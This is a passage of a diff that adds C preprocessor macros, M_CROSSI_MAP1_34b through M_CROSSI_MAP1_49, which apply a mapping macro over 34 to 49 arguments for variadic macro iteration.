+#define M_CROSSI_MAP1_34b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) 
+#define M_CROSSI_MAP1_35(...) M_CROSSI_MAP1_35b(__VA_ARGS__)
+#define M_CROSSI_MAP1_35b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) 
+#define M_CROSSI_MAP1_36(...) M_CROSSI_MAP1_36b(__VA_ARGS__)
+#define M_CROSSI_MAP1_36b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) 
+#define M_CROSSI_MAP1_37(...) M_CROSSI_MAP1_37b(__VA_ARGS__)
+#define M_CROSSI_MAP1_37b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) 
+#define M_CROSSI_MAP1_38(...) M_CROSSI_MAP1_38b(__VA_ARGS__)
+#define M_CROSSI_MAP1_38b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) 
+#define M_CROSSI_MAP1_39(...) M_CROSSI_MAP1_39b(__VA_ARGS__)
+#define M_CROSSI_MAP1_39b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) 
+#define M_CROSSI_MAP1_40(...) M_CROSSI_MAP1_40b(__VA_ARGS__)
+#define M_CROSSI_MAP1_40b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) 
+#define M_CROSSI_MAP1_41(...) M_CROSSI_MAP1_41b(__VA_ARGS__)
+#define M_CROSSI_MAP1_41b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) 
+#define M_CROSSI_MAP1_42(...) M_CROSSI_MAP1_42b(__VA_ARGS__)
+#define M_CROSSI_MAP1_42b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) 
+#define M_CROSSI_MAP1_43(...) M_CROSSI_MAP1_43b(__VA_ARGS__)
+#define M_CROSSI_MAP1_43b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) 
+#define M_CROSSI_MAP1_44(...) M_CROSSI_MAP1_44b(__VA_ARGS__)
+#define M_CROSSI_MAP1_44b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) 
+#define M_CROSSI_MAP1_45(...) M_CROSSI_MAP1_45b(__VA_ARGS__)
+#define M_CROSSI_MAP1_45b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) 
+#define M_CROSSI_MAP1_46(...) M_CROSSI_MAP1_46b(__VA_ARGS__)
+#define M_CROSSI_MAP1_46b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) 
+#define M_CROSSI_MAP1_47(...) M_CROSSI_MAP1_47b(__VA_ARGS__)
+#define M_CROSSI_MAP1_47b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) 
+#define M_CROSSI_MAP1_48(...) M_CROSSI_MAP1_48b(__VA_ARGS__)
+#define M_CROSSI_MAP1_48b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) 
+#define M_CROSSI_MAP1_49(...) M_CROSSI_MAP1_49b(__VA_ARGS__)
